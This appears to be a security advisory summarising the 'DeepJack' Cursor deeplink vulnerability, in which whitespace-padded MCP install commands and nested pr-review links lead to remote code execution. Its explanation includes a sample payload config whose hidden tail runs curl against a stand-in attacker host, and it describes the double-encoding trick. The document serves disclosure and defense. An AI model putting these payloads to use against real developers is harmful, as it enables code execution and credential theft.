The Cursor deeplink vulnerability that turns a “review this PR” click into remote code execution

Summary

Adversa AI researcher Rony Utevsky disclosed a vulnerability class dubbed DeepJack affecting the Cursor AI code editor, in which a crafted cursor:// deeplink can install an attacker-controlled Model Context Protocol (MCP) server that then executes arbitrary, unsandboxed commands under the victim's account after a single click and a single confirmation.^[0][1]

The core flaw is the MCP install confirmation dialog, which renders the server's command in a single-line text box; a long command padded with tab/whitespace characters pushes its malicious tail (for example, & /c start curl attacker.com) off-screen, so the user approves what appears to be a short, benign command such as calc.^[0]

A second variant increases social-engineering effectiveness by double-URL-encoding an mcp/install URI and nesting it inside the url parameter of a pr-review deeplink, so the click presents as a routine 'review this PR' request while Cursor never recursively decodes or revalidates the nested URI before it reaches the install handler.^[0]

Cursor closed both reports as duplicates; triage attributed the root cause in writing to the dialog's single-line text-box rendering and stated the original report was filed April 27, 2026, yet the latest build (3.9.8) remained vulnerable as of the July 15, 2026 publication date — a code-execution primitive acknowledged and live for roughly two months.^[0]

Attack chain

1. Delivery / Pretext: An attacker posing as a teammate sends the victim a link to review a pull request, spoofing routine notifications developers receive from GitHub, Linear, or Jira. The malicious step arrives as a native, trusted IDE action rather than an attachment or external website — the researcher terms this 'trust laundering'.^[0]
2. Deeplink invocation: The victim clicks a cursor:// deeplink. In the disguised variant, a pr-review deeplink carries a double-URL-encoded nested cursor://.../mcp/install URI in its url parameter; Cursor parses the outer link once as a pr-review request and passes the nested URI through validation as an opaque string.^[0]
3. Install-handler reaching / dialog deception: The decoded payload reaches the mcp/install handler, which shows a confirmation dialog for an MCP server (e.g., named GitHub). The command arguments are padded with tab characters so the malicious tail scrolls off the right edge of the single-line field, and the user sees only a short, benign string like calc.^[0]
4. Execution / RCE: On approval, Cursor executes cmd.exe with the full argument string including the hidden tail, running arbitrary unsandboxed commands as the user and firing an outbound request to the attacker's host — a foothold with access to the developer's keys, tokens, source, shell, and CI.^[0]

Disclosure timeline

How it works

Cursor registers the cursor:// protocol handler so links can drive the IDE. The mcp/install endpoint takes a server name and a base64 config describing a command to run; on approval Cursor executes that command (e.g., cmd.exe with an args array) with no sandbox between it and the user's files, tokens, and shell.^[0]

Variant one is whitespace-padded argument injection: a config such as {"command": "cmd.exe", "args": ["calc \t\t\t...\t & /c start curl attacker.com"]} exploits the single-line arguments field. Runs of tab characters push the real payload off the visible right edge, so the dialog shows only 'calc' while Cursor executes the full string including the hidden tail.^[0]

Variant two nests a second cursor:// URI targeting mcp/install inside the url parameter of a pr-review deeplink, with the structural characters (?, &, =) double-URL-encoded. Cursor parses the outer pr-review link once and does not recursively decode or revalidate the url parameter, so the nested install URI rides through validation as an opaque string and reaches the install handler.^[0]

The underlying weakness is a classic argument-injection through a custom URL-scheme handler (CWE-88, CWE-939). The fix Adversa recommends is not exotic: collapse or visibly render runs of whitespace/control characters, wrap the arguments field to show the whole string, or add a 'show full command' control before the user commits.^[0]

Affected versions and patch status

Key takeaways

• A single confirmation dialog is not a security boundary when it cannot render, accurately and completely, the command about to run; Cursor's single-line arguments field lets attacker-supplied whitespace hide the dangerous tail.^[0]
• OS-level custom URL-scheme handlers registered by AI coding agents (cursor://, vscode://, warp://, windsurf://, and others) are a poorly watched attack surface exposing install-or-execute routes; argument injection through them is a decades-old, solved bug class that these tools are shipping anyway.^[0]
• The likelihood of any single deeplink click succeeding is modest, but the blast radius is near-total: the target is a developer workstation holding SSH keys, cloud credentials, source, session tokens, and a path into CI and production — the asymmetry that should set defensive priority.^[0]
• Vendor acknowledgement is not remediation: Cursor's triage named the single-line-rendering root cause in writing and dated the original report April 27, 2026, yet closed the reports as duplicates and left build 3.9.8 exploitable, so defenders must apply compensating controls without waiting for a fix.^[0]

Defensive actions

• Allowlist MCP servers through managed settings.: Because the install dialog cannot be relied upon to show the full command, permit only specific, named servers fetched from authentic sources (organization-hosted or original maintainer) and block any user- or agent-initiated install of anything else.^[0]
• Filter install/execute deeplink routes at email and web gateways.: The routes that reach code execution — cursor://.../mcp/install, vscode://mcp/install, Windsurf's registry install, and Warp's warp://launch/ — should be blocked or quarantined on the same delivery channels (Slack, GitHub, email) the PR-review bait rides in on.^[0]
• Monitor and alert on new or changed MCP server definitions and what agents spawn.: Generic host tooling is poorly positioned; the real signal (what the user was shown versus what actually executed) requires in-path visibility into the agent's MCP traffic.^[0]
• Audit and consider disabling unused OS-level URL handlers on developer machines.: Handlers such as cursor://, claude-cli://, vscode://, and codex:// are registered at install and largely sit outside organizations' threat models; many security teams are unaware they exist.^[0]
• Keep agents away from untrusted codebases and do not treat a single confirmation dialog as a boundary.: Browsers and operating systems added layers behind prompts (code signing, sandboxing, mark-of-the-web); agentic coding tools have not, so one mis-click should not be the whole defense.^[0]